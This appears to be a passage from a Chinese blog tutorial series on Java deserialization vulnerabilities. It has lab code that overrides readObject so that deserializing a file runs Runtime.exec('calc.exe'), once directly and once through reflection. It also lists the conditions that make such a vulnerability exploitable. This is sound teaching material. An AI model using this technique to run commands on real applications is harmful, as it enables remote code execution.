                    Object x = method.invoke(new test(1), 666);
                    System.out.println(x);
                    // new关键字能调用任何构造方法。 newInstance()只能调用无参构造方法。
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }

        try {
            Method method = test.class.getMethod("int2string", Integer.class);
            Object x = method.invoke(new test(2), 666);//第一个参数是类的对象。第二参数是函数的参数
            System.out.println(x);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

class test{
    private Integer n;  

    public test(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
}

0x03 通过反射方法弹个计算器

Step1中,我们通过重写readObject方法,直接在里面使用Runtime.getRuntime().exec("calc.exe")来执行代码。现在需要改造一下,使用反弹方法来实现,成功调试的代码如下:

package Step2;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Method;

/*
 * 有了反射方法的基础,再结合step1,实现一个基于反射方法的弹计算器。
 */

public class reflectionTest2 implements Serializable{
    private Integer n;  

    public reflectionTest2(Integer n){ //构造函数,初始化时执行
        this.n = n;
    }
    public String int2string(Integer n) {
        System.out.println("here");
        return Integer.toString(n);
    }
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法

        try {//通过反射方法执行命令;
        Method method= java.lang.Runtime.class.getMethod("exec", String.class);
        Object result = method.invoke(Runtime.getRuntime(), "calc.exe");    
        }
        catch(Exception e) {
            e.printStackTrace();
        }
        }

    public static void main(String[] args){
        //reflectionTest2 x= new reflectionTest2(2);
        //operation.ser(x);
        operation.deser();
    }
}



class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

执行结果:

2.png

0x04 思考总结

程序的两大根本:变量与函数

所以总的来说,要想控制程序实现命令执行,有2个方向:

  • 控制代码、函数:就像命名注入等注入类漏洞一样数据被当作了代码执行;或者和上面的Demo代码一样重写readObject,加入自定义的代码(当然这种场景基本不存在,任意文件上传和执行勉强算是属于这种情况)。
  • 控制输入、数据、变量:利用代码中已有的函数和逻辑,通过改变输入内容的形态实现流程的控制(不同的输入会走不同的逻辑流程,执行不同代码块中的代码)。

对于java反序列化漏洞,属于控制数据输入,它有2个基本点必须要满足:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的(由于不存在代码注入,只能查找已有代码逻辑中是否有这样的类)。
  2. 在重写的readObject()方法的逻辑中有 method.invoke函数出现,而且参数可控。

再稍作抽象:

  1. 有一个可序列化的类,并且该类是重写了readObject()方法的。(主线流程,反序列化漏洞都是这个主线逻辑流程)
  2. 在重写的readObject()方法的逻辑中有
    直接或间接使用类似method.invoke这种可以执行调用任意方法的函数,而且参数可控。(是否还有其他函数可以达到相同的目的呢?)

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step2

0x05 参考

Java反序列化漏洞学习实践一:从Serializbale接口开始,先弹个计算器

0x01 基本概念

  • 什么是序列化和反序列化

Serialization(序列化)是指把Java对象保存为二进制字节码的过程;反序列化deserialization是把二进制码重新转换成Java对象的过程。

  • 什么情况下需要序列化

a.当你想把的内存中的对象保存到一个文件中或者数据库中时候;

b.当你想用套接字在网络上传送对象的时候;

c.当你想通过RMI传输对象的时候;

总之,序列化的用途就是传递和存储。

  • 如何实现序列化

将需要序列化的类实现Serializable接口就可以了,Serializable接口中没有任何方法,可以理解为一个标记,即表明这个类可以被序列化。

序列化与反序列化都可以理解为“写”和“读”操作 ,通过如下这两个方法可以将对象实例进行“序列化”与“反序列化”操作。

/**

 * 写入对象内容

 */

private void writeObject(java.io.ObjectOutputStream out)

/**

 * 读取对象内容

 */

private void readObject(java.io.ObjectInputStream in)
  • 一些注意点

当然,并不是一个实现了序列化接口的类的所有字段及属性,都是可以序列化的:

如果该类有父类,则分两种情况来考虑:

1.如果该父类已经实现了可序列化接口,则其父类的相应字段及属性的处理和该类相同;

2.如果该类的父类没有实现可序列化接口,则该类的父类所有的字段属性将不会序列化,并且反序列化时会调用父类的默认构造函数来初始化父类的属性,而子类却不调用默认构造函数,而是直接从流中恢复属性的值。

如果该类的某个属性标识为static类型的,则该属性不能序列化。

如果该类的某个属性采用transient关键字标识,则该属性不能序列化。

a.当一个父类实现序列化,子类自动实现序列化,不需要显式实现Serializable接口;

b.当一个对象的实例变量引用其他对象,序列化该对象时也把引用对象进行序列化;

0x02 简单实例

以下代码是一个简单的实现序列化和反序列化操作的Demo:

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     */
    private static final long serialVersionUID = 1L;

    private int n;  

    public deserTest(int n){ //构造函数,初始化时执行
        this.n=n;
    }

    public static void main(String[] args) {
        deserTest x = new deserTest(5);//实例一个对象
        operation.ser(x);//序列化
        operation.deser();//反序列化
    }
}

class operation {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

运行结果:

1.png

0x03 自定义反序列化的行为:弹个计算器

自定义序列化和反序列化过程,就是重写writeObjectreadObject方法。

对以上代码进行改造,加入readObject方法的重写,再重写函数中加入自己的代码逻辑。

package Step1;

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class deserTest2 implements Serializable {  

    /**
     * 创建一个简单的可被序列化的类,它的实例化后的对象就是可以被序列化的。
     * 然后重写readObject方法,实现弹计算器。
     */
    private static final long serialVersionUID = 1L;

    private int n;

    public deserTest2(int n){ //构造函数,初始化时执行
        this.n=n;
    }
    //重写readObject方法,加入了弹计算器的执行代码的内容
    private void readObject(java.io.ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();//调用原始的readOject方法
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("test");
    }

    public static void main(String[] args) {
        //deserTest2 x = new deserTest2(5);//实例一个对象
        //operation2.ser(x);//序列化
        operation2.deser();//反序列化
    }
}

class operation2 {
    public static void ser(Object obj) {
        //序列化操作,写数据
        try{
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(obj);//序列化关键函数
            oos.flush();  //缓冲流 
            oos.close(); //关闭流
        } catch (FileNotFoundException e) 
        {        
            e.printStackTrace();
        } catch (IOException e) 
        {
            e.printStackTrace();
        }
    }

    public static void deser() {
        //反序列化操作,读取数据
        try {
            File file = new File("object.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (Exception e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

以上代码,先取消main函数中的注释运行一次,以便生成正确的object.obj文件。而后加上注释运行一次,以保证只从object.obj文件中读取内容进行反序列化操作。如果无错误,第二次执行将看到弹计算器。

2.png

本文代码可从github下载:

https://github.com/bit4woo/Java_deserialize_vuln_lab/tree/master/src/Step1

0x04 参考